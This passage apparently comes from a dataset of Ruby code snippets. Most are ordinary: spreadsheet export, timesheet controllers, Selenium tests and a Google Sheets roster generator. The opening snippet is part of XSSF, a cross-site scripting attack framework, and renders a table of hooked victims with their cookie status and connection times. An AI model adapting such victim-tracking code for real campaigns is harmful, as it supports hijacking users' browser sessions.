style=\"color:purple;\">#{(v[XSSF_VICTIM_HASH[\"COOKIE\"]] == \"YES\") ? \"TRUE\" : \"FALSE\"}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">First request</div></td>\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"FIRST_REQUEST\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">Last Request</div></td>\t\t<td COLSPAN=3 style=\"color:purple;\">#{v[XSSF_VICTIM_HASH[\"LAST_REQUEST\"]]}</td>\n\t\t\t\t\t\t\t\t</tr> <tr style=\"display:none\" id=\"#{v[XSSF_VICTIM_HASH[\"ID\"]]}\" align=center>\n\t\t\t\t\t\t\t\t\t<td COLSPAN=2><div style=\"color:white\">Connection time</div></td>\t\t<td COLSPAN=3 style=\"color:purple;\">#{secs/3600}hr #{secs/60 % 60}min #{secs % 60}sec</td>\n\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\trescue\n\t\t\t\t\t\t\tnext\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 20: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn html + \"</table></body><html>\"\n\t\t\tend", "def close(*sheetnames)\n num_sheets = sheetnames.size\n\n ################################################\n # Prepend in reverse order!!\n #\n\n # Prepend the sheet dimensions\n store_dimensions\n\n # Prepend the autofilter filters.\n store_autofilters\n\n # Prepend the sheet autofilter info.\n store_autofilterinfo\n\n # Prepend the sheet filtermode record.\n store_filtermode\n\n # Prepend the COLINFO records if they exist\n unless @colinfo.empty?\n while (!@colinfo.empty?)\n arrayref = @colinfo.pop\n store_colinfo(*arrayref)\n end\n end\n\n # Prepend the DEFCOLWIDTH record\n store_defcol\n\n # Prepend the sheet password\n store_password\n\n # Prepend the sheet protection\n store_protect\n store_obj_protect\n\n # Prepend the page setup\n store_setup\n\n # Prepend the bottom margin\n store_margin_bottom\n\n # Prepend the top margin\n store_margin_top\n\n # Prepend the right margin\n store_margin_right\n\n # Prepend the left margin\n store_margin_left\n\n # Prepend the page vertical centering\n store_vcenter\n\n # Prepend the page horizontal centering\n store_hcenter\n\n # Prepend the page footer\n store_footer\n\n # Prepend the page header\n store_header\n\n # Prepend the vertical page breaks\n store_vbreak\n\n # Prepend the horizontal page breaks\n store_hbreak\n\n # Prepend WSBOOL\n store_wsbool\n\n # Prepend the default row height.\n store_defrow\n\n # Prepend GUTS\n store_guts\n\n # Prepend GRIDSET\n store_gridset\n\n # Prepend PRINTGRIDLINES\n store_print_gridlines\n\n # Prepend PRINTHEADERS\n store_print_headers\n\n #\n # End of prepend. Read upwards from here.\n ################################################\n # Append\n store_table\n store_images\n store_charts\n store_filters\n store_comments\n store_window2\n store_page_view\n store_zoom\n store_panes(*@panes) if !@panes.nil? && !@panes.empty?\n store_selection(*@selection)\n store_validation_count\n store_validations\n store_tab_color\n store_eof\n\n # Prepend the BOF and INDEX records\n store_index\n store_bof(0x0010)\n end", "def events\n external, to_be_verified, verified, not_complete = Candidate.events_external_verification\n\n confirmation_event_names = ExportListsController.event_columns\n p = create_xlsx(external, to_be_verified, verified, not_complete, 'Events',\n confirmation_event_names,\n confirmation_event_names.map do |candidate_event_name|\n ExportListsController.candidate_event_state(candidate_event_name)\n end)\n\n send_data p.to_stream.read, type: 'application/xlsx', filename: 'events.xlsx'\n end", "def launch_email_client()\n mail_list = @@item.mail_list\n mail_list = \"private@#{mail_list}.apache.org\" unless mail_list.include? '@'\n\n to = @@item.chair_email\n cc = \"#{mail_list},#{@@item.cc}\"\n\n if @@item.missing\n subject = \"Missing #{@@item.title} Board Report\"\n body = %{\n Dear #{@@item.owner},\n\n The board report for #{@@item.title} has not yet been submitted for\n this month's board meeting. If you or another member of the PMC are\n unable to get it in by twenty-four hours before meeting time, please\n let the board know, and plan to report next month.\n\n https://www.apache.org/foundation/board/reporting#how\n\n Thanks,\n\n #{User.username}\n\n (on behalf of the ASF Board)\n }\n\n # strip indentation; concatenate lines within a paragraph\n indent = body[/^\\s*/]\n body = body.strip().gsub(/#{indent}/, \"\\n\").gsub(/(\\S)\\n(\\S)/, \"$1 $2\")\n else\n subject = \"#{@@item.title} Board Report\"\n body = @@item.comments.join(\"\\n\\n\")\n\n if not body and @@item.text\n monthNames = %w(January February March April May June July August\n September October November December)\n year = Agenda.date.split('-')[0].to_i\n month = Agenda.date.split('-')[1].to_i\n\n subject = \"[REPORT] #{@@item.title} - #{monthNames[month-1]} #{year}\"\n to = @@item.cc\n cc = mail_list\n body = @@item.text\n end\n end\n\n window.location = \"mailto:#{to}?cc=#{cc}\" +\n \"&subject=#{encodeURIComponent(subject)}\" +\n \"&body=#{encodeURIComponent(body)}\"\n end", "def showLoginSheet\n NSApp.beginSheet(@windowController.sheet, \n :modalForWindow => @windowController.window, \n :modalDelegate => self,\n :didEndSelector => NSSelectorFromString(\"closeLoginSheet:returnCode:contextInfo:\"),\n :contextInfo => nil)\n end", "def test_015\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #An option setup was performed\n\n assert is_checked($xpath[\"task\"][\"master_option_chk1\"])\n\n #uncheck an option setup\n click $xpath[\"task\"][\"master_option_chk1\"]\n\n\n #Get window id\n window_id = get_attribute(\"//body/div[2]\", \"id\")\n window_id =~ /.*?id=(\\d+).*?/\n\n #Close window\n click window_id + \"_close\"\n\n sleep 3\n #Open popup set again\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #the information set remains\n assert is_checked($xpath[\"task\"][\"master_option_chk1\"])\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end", "def prfExport_neu()\n @view.centralWidget = PrfExpWindow.new(self,@view)\n reset_elements(:excel => nil)\n end", "def set_time_sheet\n @time_sheet = TimeSheet.find(params[:id])\n end", "def create\n @timesheets = @company.timesheets.order(\"created_at DESC\").page(params[:page]).per(20)\n @timesheet = Timesheet.create_timesheet(params, @company, @current_user)\n @tasks = @company.tasks\n @week = params[:timesheet][:start_date].to_date.beginning_of_week\n respond_to do |format|\n if @timesheet.save\n flash[:success]= \"Timesheet successfully created.\"\n format.html { redirect_to timesheets_path }\n format.xml { render :xml => @timesheet, :status => :created, :location => @timesheet }\n else\n @week = params[:timesheet][:start_date].to_date.beginning_of_week\n if params[:dated_on].blank?\n @dates = (Time.zone.now.beginning_of_week.to_date..Time.zone.now.end_of_week.to_date).to_a\n else\n dated_on = params[:dated_on].to_date\n @dates = (dated_on.beginning_of_week.to_date..dated_on.end_of_week.to_date).to_a\n end\n @tasks = @company.tasks\n format.html { render :action => \"index\" }\n format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_time_sheet\n @time_sheet = current_user.time_sheets.find(params[:id])\n end", "def invokeRazooSite()\n\t\n\tputs \"************** START : Invoke Razoo Application ****************\"\t\n\t# Create a new instance of the Selenium-Client driver.\n\t$browser = Selenium::Client::Driver.new \\\n\t\t:host => \"localhost\",\n\t\t:port => 4444,\n\t\t:browser => \"*firefox\", \n\t\t:url => \"https://www-qatrunk.razoo.com/login\",\n\t\t:timeout_in_second => 60\n\n\t# Start the browser session\n\t$browser.start_new_browser_session\n\t\n\t# Print a message in the browser-side log and status bar\n\t$browser.set_context(\"Razoo Application\")\n\t$browser.open \"/\"\n\tputs \"Passed. Razoo Site gets invoked successfully!\"\n\tputs \"************** END : Invoke Razoo Application ****************\"\n\t\nend", "def create_games_excel\r\n\r\n if (params[:msg].nil?)\r\n\r\n @student_group = StudentGroup.find(params[:id])\r\n #@book = Spreadsheet.open 'C:/Users/Rushabh Hathi/Desktop/Dialogue1.0/public/Files/abc.txt'\r\n @book = Spreadsheet::Workbook.new\r\n sheet1 = @book.create_worksheet\r\n @rolelist=Role.all(:conditions=>['case_study_id=?', @student_group.case_study_id])\r\n i=1\r\n\r\n# #here role name is added for the list to be populated\r\n# @rolelist.each do |r|\r\n# sheet1[0, i]=r.name\r\n# i=i+1\r\n# end\r\n\r\n @studentgroupuserlist=StudentGroupUser.all(:conditions=>['student_group_id=?', params[:id]])\r\n @studentlist= Array.new\r\n @unallocated_student= Array.new\r\n @studentgroupuserlist.each do |s|\r\n @studentlist << User.find(s.user_id)\r\n end\r\n\r\n #here the dynamic data from student group gets populated\r\n i=1\r\n sheet1[0, 0]=\"Student ID\"\r\n sheet1[0, 1]=\"Student Name\"\r\n sheet1[0, 2]=\"Role Name\"\r\n\r\n\r\n @studentlist.each do |s|\r\n\r\n sheet1[i, 0]=s.id\r\n sheet1[i, 1]=s.first_name+s.last_name\r\n sheet1[i, 2]= \" \"\r\n i=i+1\r\n @book.write \"#{Rails.root}/public/Files/Game_Creation.xls\"\r\n\r\n\r\n end\r\n\r\n end\r\n end", "def new\n #destroy all traces of an identical assignment before beginning\n #otherwise have the spreadsheet output be completely fucked up\n Exportsheet.delete_all(:assignment_id => params[:id].to_i)\n #query students and assignments\n @assignment = Assignment.where(\"id = ?\", params[:id]).to_a.first\n if @assignment\n @ass_students = AssignmentsStudents.where(\" assignment_id = ?\", params[:id]).to_a\n \n # assemble student => ass_stdnt hash \n # that hash to be used to write to the exportsheet record\n @students_hash = Hash.new\n dem_students = Student.where(\"course_id = ?\", @assignment.course_id)\n counter = 0\n @ass_students.each{ |ass_stdnt|\n s = dem_students[counter]\n if !@students_hash.key?(s) and s != nil then\n h = Hash.new\n h[s] = ass_stdnt\n if h != nil then\n @students_hash.merge!( h )\n end\n end\n counter += 1\n }\n\n #create exportsheets\n counter = 0\n @students_hash.each{ |stdnt, ass_stdnt|\n if counter == @students_hash.size then\n break\n end\n @exportsheet = Exportsheet.new({\n :student => stdnt.full_name,\n :grade => ass_stdnt.grade * 100,\n :assignment_id => @assignment.id\n })\n @exportsheet.save\n counter +=1\n }\n end\n\n #format html, csv, and xls formats\n respond_to do |format|\n format.html # new.html.erb\n format.csv { send_data @exportsheet.to_csv }\n format.xls # { send_data @exportsheet.to_csv(col_sep: \"\\t\") }\n end\n end", "def set_browser_document\r\n # Get the window in variable WINDOW_VAR.\r\n # Get the browser in variable BROWSER_VAR.\r\n jssh_command = \"var #{WINDOW_VAR} = getWindows()[#{@@current_window}];\"\r\n jssh_command += \" var #{BROWSER_VAR} = #{WINDOW_VAR}.getBrowser();\"\r\n # Get the document and body in variable DOCUMENT_VAR and BODY_VAR respectively.\r\n jssh_command += \"var #{DOCUMENT_VAR} = #{BROWSER_VAR}.contentDocument;\"\r\n jssh_command += \"var #{BODY_VAR} = #{DOCUMENT_VAR}.body;\"\r\n\r\n $jssh_socket.send(\"#{jssh_command}\\n\", 0)\r\n read_socket()\r\n\r\n # Get window and window's parent title and url\r\n $jssh_socket.send(\"#{DOCUMENT_VAR}.title;\\n\", 0)\r\n @window_title = read_socket()\r\n $jssh_socket.send(\"#{DOCUMENT_VAR}.URL;\\n\", 0)\r\n @window_url = read_socket()\r\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n skip_authorization\n # authorize @timesheet\n end", "def tbs_start_era\n create_windows_tb_era\n end", "def googleroster\n returned_authorisation = googleauthorisation(request)\n if returned_authorisation[\"authorizationurl\"]\n redirect_to returned_authorisation[\"authorizationurl\"] and return\n end\n service = returned_authorisation[\"service\"]\n#-----------------------------------------------------------------\n# Create a new spreadsheet -works and tested\n #request_body = Google::Apis::SheetsV4::Spreadsheet.new\n #response = service.create_spreadsheet(request_body)\n #ss = response\n #spreadsheet_id = ss.spreadsheet_id\n#-----------------------------------------------------------------\n\n#-----------------------------------------------------------------\n# Use an existing previously created spreadsheet\n# Only need the id to make use of this.\n #spreadsheet_id = '1VHNfTl0Qxok1ZgBD2Rwby-dqxihgSspA0InqS5dTXNI'\n spreadsheet_id = '1mfS0V2IRS1x18otIta1kOdfFvRMu6NltEe-edn7MZMc'\n#-----------------------------------------------------------------\n\n#-----------------------------------------------------------------\n# Use the spreadsheet configured in user profiles\n# = Roster Google Spreadsheet URL \n spreadsheet_id = current_user[:rosterssurl].match(/spreadsheets\\/d\\/(.*?)\\//)[1]\n\n # Get URL of spreadsheet\n response = service.get_spreadsheet(spreadsheet_id)\n @spreadsheet_url = response.spreadsheet_url\n\n # Sheet we are working on.\n sheet_name = \"Sheet1\"\n sheet_id = 0\n\n #this function converts spreadsheet indices to column name\n # examples: e[0] => A; e[30] => AE \n e =->n{a=?A;n.times{a.next!};a} \n\n# ************ update spreadsheet title ************************\n# https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets/batchUpdate\n spreadsheet_title = \"Google Roster\" \n request_body = Google::Apis::SheetsV4::BatchUpdateSpreadsheetRequest.new\n myussp = {\"properties\": {\"title\": spreadsheet_title}, \"fields\": \"*\" }\n request_body.requests = [{\"update_spreadsheet_properties\": myussp }]\n result = service.batch_update_spreadsheet(spreadsheet_id, request_body, {})\n\n# ************ add sheet ************************\n googleAddSheet = lambda{ |mytitle, mysheetproperties|\n request_body = Google::Apis::SheetsV4::BatchUpdateSpreadsheetRequest.new\n myas = {\"properties\": {\"title\": mytitle}}\n request_body.requests = [{\"add_sheet\": myas }]\n result = service.batch_update_spreadsheet(spreadsheet_id, request_body, {})\n mysheetproperties.push({'index' => result.replies[0].add_sheet.properties.index,\n 'sheet_id' => result.replies[0].add_sheet.properties.sheet_id,\n 'title' => result.replies[0].add_sheet.properties.title})\n }\n \n# ************ delete sheets ************************\n googleSheetDelete = lambda{\n result = service.get_spreadsheet(spreadsheet_id)\n mysheets = result.sheets\n request_body = Google::Apis::SheetsV4::BatchUpdateSpreadsheetRequest.new\n mysheets.each_with_index do |o, i|\n next if i == 0\n request_body.requests == nil ?\n request_body.requests = [{\"delete_sheet\": {\"sheet_id\": o.properties.sheet_id}}] :\n request_body.requests.push({\"delete_sheet\": {\"sheet_id\": o.properties.sheet_id}})\n end\n unless request_body.requests == nil\n result = service.batch_update_spreadsheet(spreadsheet_id, request_body, {})\n end\n }\n\n# ************ get spreadsheet properties ************************\n googleSheetProperties = lambda{\n result = service.get_spreadsheet(spreadsheet_id)\n mysheets = result.sheets\n mysheetproperties = mysheets.map{|p| {'index' => p.properties.index, \n 'sheet_id' => p.properties.sheet_id,\n 'title' => p.properties.title } }\n \n }\n\n# ************ update sheet title ************************\n# https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets/batchUpdate\n googleSetSheetTitle = lambda{ |mytitle|\n request_body = Google::Apis::SheetsV4::BatchUpdateSpreadsheetRequest.new\n myusp = {\"properties\": {\"title\": mytitle }, \"fields\": \"title\" }\n request_body.requests = [{\"update_sheet_properties\": myusp }]\n result = service.batch_update_spreadsheet(spreadsheet_id, request_body, {})\n }\n\n# ************ delete all cells (rows) in a sheet ****************************\n# https://www.rubydoc.info/github/google/google-api-ruby-client/Google/Apis/SheetsV4/Request#delete_range-instance_method \n googleClearSheet = lambda{|passed_sheet_id|\n requests = [{ delete_range:{\n range: {sheet_id: passed_sheet_id, start_row_index: 0, start_column_index: 0 },\n shift_dimension: \"ROWS\"}}]\n body = {requests: requests}\n result = service.batch_update_spreadsheet(spreadsheet_id, body, {})\n }\n \n\n# ******** set vertical alignment using batch_update_spreadsheet ********\n # googleVertAlignAll.call(palign \"TOP | MIDDLE | BOTTOM\")\n googleVertAlignAll = lambda{ |passed_sheet_id, palign|\n requests = [{repeat_cell: {\n \t range: {sheet_id: passed_sheet_id,\n \t start_row_index: 0,\n \t start_column_index: 0\n \t },\n cell: {user_entered_format: {vertical_alignment: palign} },\n fields: \"user_entered_format(vertical_alignment)\"\n }\n }]\n body = {requests: requests}\n result = service.batch_update_spreadsheet(spreadsheet_id, body, {})\n }\n\n# ****************** calls batch_update_spreadsheet ******************\n # googlebatchdataitem.call(passed_items [googlebackgroundcolouritem, ...])\n googleBatchUpdate = lambda{|passeditems|\n if passeditems.count > 0\n body = {requests: passeditems}\n result = service.batch_update_spreadsheet(spreadsheet_id, body, {})\n end\n }\n\n# ******** update background colours using batch_update_spreadsheet ********\n # googleBGColourItem.call(rowStart, colStart, numberOfRows, numberOfCols,\n # colour[red_value, geen_value, blue_value])\n googleBGColourItem = lambda{|passed_sheet_id, rs, cs, nr, nc, pcolour|\n {repeat_cell: {\n \t range: {sheet_id: passed_sheet_id,\n \t start_row_index: rs - 1,\n \t end_row_index: rs - 1 + nr,\n \t start_column_index: cs - 1,\n \t end_column_index: cs - 1 + nc},\n cell:{user_entered_format:\n \t {background_color: {red: pcolour[0], green: pcolour[1], blue: pcolour[2]}}},\n fields: \"user_entered_format(background_color)\"}}}\n \n# ******** set vertical alignment using batch_update_spreadsheet ********\n # googleVertAlign.call(rowStart, colStart, numberOfRows, numberOfCols,\n # palign \"TOP | MIDDLE | BOTTOM\")\n googleVertAlign = lambda{|passed_sheet_id, rs, cs, nr, nc, palign|\n pad = 5\n result = {repeat_cell: {\n \t range: {sheet_id: passed_sheet_id,\n \t start_row_index: rs - 1,\n \t start_column_index: cs - 1 },\n cell:{user_entered_format: {vertical_alignment: palign,\n padding: {\n top: pad,\n right: pad,\n bottom: pad,\n left: pad\n }\n } \n },\n fields: \"user_entered_format(vertical_alignment,padding)\"\n }\n }\n if nr != nil then\n result[:repeat_cell][:range][:end_row_index] = rs - 1 + nr \n end\n if nc != nil then\n result[:repeat_cell][:range][:end_column_index] = cs - 1 + nc \n end\n return result\n }\n\n# ******** set wrap text using batch_update_spreadsheet ********\n # googleWrapText.call(rowStart, colStart, numberOfRows, numberOfCols,\n # wrap \"OVERFLOW_CELL | LEGACY_WRAP | CLIP | WRAP\")\n googleWrapText = lambda{|passed_sheet_id, rs, cs, nr, nc, pwrap|\n result = {repeat_cell: {\n \t range: {sheet_id: passed_sheet_id,\n \t start_row_index: rs - 1,\n \t start_column_index: cs - 1 },\n cell:{user_entered_format: {wrap_strategy: pwrap} },\n fields: \"user_entered_format(wrap_strategy)\"\n }\n }\n if nr != nil then\n result[:repeat_cell][:range][:end_row_index] = rs - 1 + nr \n end\n if nc != nil then\n result[:repeat_cell][:range][:end_column_index] = cs - 1 + nc \n end\n return result\n }\n\n# ******** update borders using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/formatting\n # googleBorder.call(sheet_id, rowStart, colStart, numberOfRows, numberOfCols,\n # {left: color, right: .., top: .., bottom: ..}, width)\n googleBorder = lambda{|passed_sheet_id, rs, cs, nr, nc, pcolour, passedStyle |\n {\n update_borders: {\n \t range: { sheet_id: passed_sheet_id,\n \t start_row_index: rs - 1,\n \t end_row_index: rs - 1 + nr,\n \t start_column_index: cs - 1,\n \t end_column_index: cs - 1 + nc },\n top: { style: passedStyle,\n \t color: {red: pcolour[0], green: pcolour[1], blue: pcolour[2]}},\n left: { style: passedStyle,\n \t color: {red: pcolour[0], green: pcolour[1], blue: pcolour[2]}},\n right: { style: passedStyle,\n \t color: {red: pcolour[0], green: pcolour[1], blue: pcolour[2]}},\n bottom: { style: passedStyle,\n \t color: {red: pcolour[0], green: pcolour[1], blue: pcolour[2]}},\n }\n }\n }\n\n# ******** update borders using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/formatting\n # googleBorder.call(sheet_id, rowStart, colStart, numberOfRows, numberOfCols,\n # {left: color, right: .., top: .., bottom: ..}, width)\n googleRightBorder = lambda{|passed_sheet_id, rs, cs, nr, nc, pcolour, passedStyle |\n {\n update_borders: {\n \t range: { sheet_id: passed_sheet_id,\n \t start_row_index: rs - 1,\n \t end_row_index: rs - 1 + nr,\n \t start_column_index: cs - 1,\n \t end_column_index: cs - 1 + nc },\n right: { style: passedStyle,\n \t color: {red: pcolour[0], green: pcolour[1], blue: pcolour[2]}}\n }\n }\n }\n\n# ******** adjust columns width using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/rowcolumn \n\n # googlecolwidthitem.call(colStart, numberOfCols,\n # width_pixels)\n googleColWidthItem = lambda{|passed_sheet_id, cs, nc, passedpw|\n {\n update_dimension_properties: {\n range: { dimension: \"COLUMNS\",\n \t sheet_id: passed_sheet_id,\n \t start_index: cs - 1,\n end_index: cs - 1 + nc },\n \t properties: { pixel_size: passedpw },\n \t fields: \"pixelSize\"\n }\n }\n }\n\n# ******** autoresize columns using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/rowcolumn \n\n # googlecolautowidthitem.call(passed_sheet_id, colStart, numberOfCols)\n googleColAutowidthItem = lambda{|passed_sheet_id, cs, nc|\n {\n auto_resize_dimensions: { dimensions: { dimension: \"COLUMNS\",\n \t sheet_id: passed_sheet_id,\n \t start_index: cs - 1,\n end_index: cs - 1 + nc }\n }\n }\n }\n \n# ******** merge cells using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/formatting \n # googleMergeCells.call(passed_sheet_id, rowStart, numOfRows, colStart, numberOfCols)\n googleMergeCells = lambda{|passed_sheet_id, rs, nr, cs, nc|\n {\n merge_cells: { range: { sheet_id: passed_sheet_id,\n start_row_index: rs - 1,\n end_row_index: rs - 1 + nr,\n start_column_index: cs - 1,\n end_column_index: cs - 1 + nc },\n merge_type: \"MERGE_ALL\"\n }\n }\n }\n\n# ******** format header cells using batch_update_spreadsheet ********\n# https://developers.google.com/sheets/api/samples/formatting \n # googlefomratCells.call(passed_sheet_id, rowStart, numOfRows, colStart, numberOfCols, fontSize)\n googleFormatCells = lambda{|passed_sheet_id, rs, nr, cs, nc, fs|\n {\n repeat_cell: { range: { sheet_id: passed_sheet_id,\n start_row_index: rs - 1,\n end_row_index: rs - 1 + nr,\n start_column_index: cs - 1,\n end_column_index: cs - 1 + nc },\n cell: { user_entered_format: {\n horizontal_alignment: \"CENTER\",\n text_format: {\n font_size: fs,\n bold: true\n }\n }\n },\n fields: \"userEnteredFormat(textFormat, horizontalAlignment)\"\n }\n }\n }\n\n# ************ update values using update_spreadsheet_value ****************************\n# doco: https://www.rubydoc.info/github/google/google-api-ruby-client/Google%2FApis%2FSheetsV4%2FSheetsService%3Aupdate_spreadsheet_value \n# call using\n\n# googlevalues.call(rowStartIndex, columnStartIndex, numberOfRows, numberOfColumns, values[[]])\n# Indexes start at 1 for both rows and columns\n googleValues = lambda{|rs, cs, nr, nc, values| \n range = \"#{sheet_name}!\" + e[cs - 1] + rs.to_s + \":\" +\n e[cs + nc - 1] + (rs + nr).to_s\n request_body = Google::Apis::SheetsV4::ValueRange.new\n request_body.values = values\n request_body.major_dimension = \"ROWS\"\n service.update_spreadsheet_value(spreadsheet_id, range, request_body, \n {value_input_option: 'USER_ENTERED'})\n }\n \n# ************ update values using batch_update_values ****************************\n # googlebatchdataitem.call(rowStart, colStart, numberOfRows, numberOfCols,\n # values[[]])\n googleBatchDataItem = lambda{|passed_sheet_name, rs, cs, nr, nc, values|\n range = \"#{passed_sheet_name}!\" + e[cs - 1] + rs.to_s + \":\" +\n e[cs + nc - 1] + (rs + nr).to_s\n {\n range: range,\n majorDimension: 'ROWS',\n values: values\n }\n }\n\n# ************ execute batch update of values - [data items] ****************************\n # googlebatchdataitem.call(spreadsheet_id, \n # passed in batch data [gppg;ebatcjdataote, ...])\n googleBatchDataUpdate = lambda{|ss_id, dataitems |\n if dataitems.count > 0\n request_body = Google::Apis::SheetsV4::BatchUpdateValuesRequest.new\n request_body.value_input_option = 'USER_ENTERED'\n request_body.data = dataitems\n service.batch_update_values(ss_id, request_body, {})\n end\n }\n\n# ************ text format run using batch_update_values ****************************\n # googlebatchTextFormatRunItem.call(rowStart, colStart, \n # text, breakPointToChangeFormat[])\n googleTextFormatRun = lambda{|passed_sheet_id, rs, cs, myText, myBreaks|\n result = \n {\n update_cells: {\n \t start: {sheet_id: passed_sheet_id,\n \t row_index: rs - 1,\n \t column_index: cs - 1\n \t },\n rows: [ \n { values: [ \n {\n user_entered_value: {\n string_value: myText\n },\n user_entered_format: {\n text_format: {\n fontFamily: \"Arial\"\n }\n },\n text_format_runs: [\n {\n start_index: myBreaks[0],\n format: {\n bold: true,\n font_size: 10\n }\n }\n ]\n }\n ]\n }\n \n ],\n fields: \"userEnteredValue, userEnteredFormat.textFormat.bold, textFormatRuns.format.(bold, fontSize, fontFamily)\"\n }\n }\n if myBreaks[1] < myText.length then\n secondRun = {\n start_index: myBreaks[1],\n format: {\n bold: false,\n font_size: 10\n }\n }\n result[:update_cells][:rows][0][:values][0][:text_format_runs].push(secondRun)\n end\n return result\n }\n \n \n# ************ batch update of data items ****************************\n # googlebatchdataitem.call(spreadsheet_id, \n # passed in batch data [gppg;ebatcjdataote, ...])\n googleBatchDataUpdate = lambda{|ss_id, dataitems |\n if dataitems.count > 0\n request_body = Google::Apis::SheetsV4::BatchUpdateValuesRequest.new\n request_body.value_input_option = 'USER_ENTERED'\n request_body.data = dataitems\n service.batch_update_values(ss_id, request_body, {})\n end\n }\n\n#-------- To test or not to test ------------------------------\ntesting = false # true or false\nif testing then\n\n#--------------------- Test Data -------------------------------\n# Clear the sheet\n googleClearSheet.call(sheet_id)\n \n# Some test formatting\n batchitems = []\n\n batchitems.push(googleBGColourItem.call(sheet_id, 1,1,1,2,[0,1,0]))\n batchitems.push(googleBGColourItem.call(sheet_id, 6,1,1,2,[1,0,0]))\n batchitems.push(googleBGColourItem.call(sheet_id, 7,1,1,2,[0,0,1]))\n\n batchitems.push(googleBorder.call(sheet_id, 2,1,2,2, [0,0,0], \"SOLID_MEDIUM\"))\n \n batchitems.push(googleVertAlign.call(sheet_id,2,1,2,2, \"TOP\"))\n\n batchitems.push(googleWrapText.call(sheet_id, 2,1,2,2, \"WRAP\"))\n\n batchitems.push(googleColWidthItem.call(sheet_id, 1,3,160))\n \n googleBatchUpdate.call(batchitems) \n\n# Some test cellvalues - individual update\n myvalues = [[\"update_spreadsheet_value\",\"test data - this row will get a background colour\"]]\n googleValues.call(1, 1, 1, 2, myvalues)\n\n# Some test value data - batch update\n mydata = []\n mydata.push(googleBatchDataItem.call(sheet_name,2,1,2,2,\n [\n [\"spreadsheet_values_batchUpdate\", \"test data\"],\n [\"spreadsheet_values_batchUpdate\", \"third row\"]\n ])\n )\n mydata.push(googleBatchDataItem.call(sheet_name,6,1,2,2,\n [\n [\"spreadsheet_values_batchUpdate2\", \"test data\"],\n [\"spreadsheet_values_batchUpdate2\", \"seventh row\"]\n ])\n )\n googleBatchDataUpdate.call(spreadsheet_id, mydata)\n\n #Note: need to do values first so autoformat works.\n batchitems = [] # reset\n batchitems.push(googleColAutowidthItem.call(sheet_id, 1, 1))\n googleBatchUpdate.call(batchitems) \n \n logger.debug \"about to try out googleTextFormatRun\"\n batchitems = []\n batchitems.push(googleTextFormatRun.call(sheet_id, 10,2, \"123456789\\n1234567890123456789\", [0,10]))\n googleBatchUpdate.call(batchitems) \n logger.debug \"done googleTextFormatRun\"\n\nelse # Not to test.\n\n# let does some processing - writing rosters to google sheets.\n #@sf = 5 # number of significant figures in dom ids for lesson,tutor, etc.\n\n #mystartdate = current_user.daystart\n #myenddate = current_user.daystart + current_user.daydur.days\n @options = Hash.new\n #@options[:startdate] = current_user.daystart\n #@options[:enddate] = current_user.daystart + current_user.daydur.days\n @options[:startdate] = current_user.rosterstart\n @options[:enddate] = current_user.rosterstart + current_user.rosterdays.days\n \n #*****************************************************************\n # Set these to control what is displayed in the roster\n \n @tutorstatusforroster = [\"scheduled\", \"dealt\", \"confirmed\", \"attended\"]\n @studentstatusforroster = [\"scheduled\", \"dealt\", \"attended\"]\n \n #*****************************************************************\n \n # call the library in controllers/concerns/calendarutilities.rb\n #@cal = calendar_read_display2(@sf, mystartdate, myenddate)\n #calendar_read_display1f(sf, mystartdate, myenddate, options)\n \n # @tutors and @students are used by the cal\n @tutors = Tutor\n .where.not(status: \"inactive\")\n .order('pname')\n @students = Student\n .where.not(status: \"inactive\")\n .order('pname')\n \n #@cal = calendar_read_display1f(@sf, mystartdate, myenddate, {})\n #@cal = calendar_read_display1f(@sf, @options)\n @cal = calendar_read_display1f(@options)\n # Clear the first sheet - the rest are deleted.\n googleClearSheet.call(sheet_id)\n #googleVertAlignAll.call(\"TOP\")\n\n # kinds will govern the background colours for tutors and students.\n kindcolours = Hash.new\n=begin\n kindcolours = {\n 'tutor-kind-training' => [244, 164, 96],\n 'tutor-kind-called' => [135, 206, 250],\n 